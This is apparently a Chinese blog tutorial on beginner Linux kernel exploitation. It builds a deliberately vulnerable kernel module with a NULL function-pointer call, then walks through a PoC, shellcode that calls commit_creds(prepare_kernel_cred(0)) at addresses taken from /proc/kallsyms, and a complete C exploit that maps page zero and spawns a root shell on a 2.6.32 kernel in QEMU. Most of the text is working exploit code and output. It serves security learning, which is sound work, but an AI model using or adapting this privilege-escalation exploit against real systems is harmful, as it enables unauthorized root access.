漏洞比较久远,仅是作为Linux Kernel Exploit入门。
漏洞代码 null_dereference.c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/proc_fs.h>
void (*my_funptr)(void);
int bug1_write(struct file *file, const char *buf, unsigned long len) { my_funptr(); return len; }
static int __init null_dereference_init(void) { printk(KERN_ALERT "null_dereference driver init!\n"); create_proc_entry("bug1", 0666, 0)->write_proc = bug1_write; return 0; }
static void __exit null_dereference_exit(void) { printk(KERN_ALERT "null_dereference driver exit\n"); }
module_init(null_dereference_init); module_exit(null_dereference_exit);
|
可以看到漏洞代码中my_funptr函数指针是空指针(值为0x0),调用my_funptr可以执行0x0地址处的代码。
Makefile如下:
1 2 3 4 5 6 7 8 9
| obj-m := null_dereference.o KERNELDR := /home/fanrong/Computer/linux-kernel/linux-2.6.32 PWD := $(shell pwd) modules: $(MAKE) -C $(KERNELDR) M=$(PWD) modules modules_install: $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install clean: $(MAKE) -C $(KERNELDR) M=$(PWD) clean
|
将漏洞代码在本地编译之后,将null_dereference.ko文件放到busybox-1.19.4/_install/usr/目录中。
PoC poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h>
char payload[] = "\xe9\xea\xbe\xad\x0b";
int main() { mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); memcpy(0, payload, sizeof(payload)); int fd = open("/proc/bug1", O_WRONLY); write(fd, "fanrong", 7); return 0; }
|
编译:
1
| $ gcc -static poc.c -o poc
|
一定要静态链接,因为进busybox链接库那些是没有的。将编译出的poc也放到busybox的usr目录中。
这里要注意,每次拷贝新文件到busybox的文件系统中去,都要在_install目录中执行:
1
| $ find . | cpio -o --format=newc > ../rootfs.img
|
重新生成rootfs.img文件。
qemu启动Linux内核,启动后用Ctrl+Alt+2到控制台,输入:
1
| (qemu) gdbserver tcp::1234
|
在本地linux-2.6.32目录中用gdb去连接:
1 2 3 4 5 6 7 8
| $ gdb vmlinux (gdb) target remote :1234 Remote debugging using :1234 default_idle() at arch/x86/kernel/process.c:311 311 current_thread_info()->status |= TS_POLLING; (gdb) b *0x0 (gdb) c Continuing
|
在qemu中Ctrl+Alt+1切换回命令行,进入usr目录,挂载驱动后运行poc程序。
1 2 3
| /usr # insmod null_dereference.ko ... /usr # ./poc
|
这时gdb就会命中断点,因为调用了空的函数指针,所以会跳转到0x0。反汇编查看当前执行的指令:
可以看到如果继续执行就会执行我们的payload。
exploit
1.思路:给当前进程赋予root权限
1
| commit_creds(prepare_kernel_cred(0));
|
在qemu中获取commit_creds和prepare_kernel_cred地址:
1 2 3 4 5
| / # grep commit_creds /proc/kallsyms c1056f80 T commit_creds c11a6b60 T security_commit_creds / # grep prepare_kernel_cred /proc/kallsyms c1057120 T prepare_kernel_cred
|
2.编写shellcode
1 2 3 4
| xor %eax, %eax call 0xc1057120 call 0xc1056f80 ret
|
编译shellcode,并获取其机器码:
1 2 3 4 5 6 7 8 9 10 11 12 13
| $ gcc -o payload payload.s -nostdlib -Ttext=0 $ objdump -d payload
payload: file format elf32-i386
Disassembly of section .text:
00000000 <.text>: 0: 31 c0 xor %eax,%eax 2: e8 19 71 05 c1 call c1057120 <_end+0xc1056110> 7: e8 74 6f 05 c1 call c1056f80 <_end+0xc1055f70> c: c3 ret
|
得到shellcode:
1
| shellcode = "\x31\xc0\xe8\x19\x71\x05\xc1\xe8\x74\x6f\x05\xc1\xc3"
|
现在将shellcode放入分配的0x0地址空间,当调用空函数指针时,使当前进程有root权限,然后执行一个system(“/bin/sh”);在程序返回用户态之后获得root shell。
exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h>
char payload[] = "\x31\xc0\xe8\x19\x71\x05\xc1\xe8\x74\x6f\x05\xc1\xc3";
int main() { mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); memcpy(0, payload, sizeof(payload)); int fd = open("/proc/bug1", O_WRONLY); write(fd, "fanrong", 7); system("/bin/sh"); return 0; }
|
编译exploit:
1
| $ gcc -static exploit.c -o exploit
|
将exploit放到busybox的usr目录中,在busybox的etc目录中新建passwd文件和group文件,在根目录新建/home/fanrong
新建用户测试Exploit:
这里会报错,因为2.6.32内核已经使用mmap_min_addr作为缓解措施,mmap_min_addr为4096,需要设置一下mmap_min_addr:
1
| # sysctl -w vm.mmap_min_addr="0"
|
再次运行exploit:
成功拿到root shell!
reference
http://bobao.360.cn/learning/detail/3702.html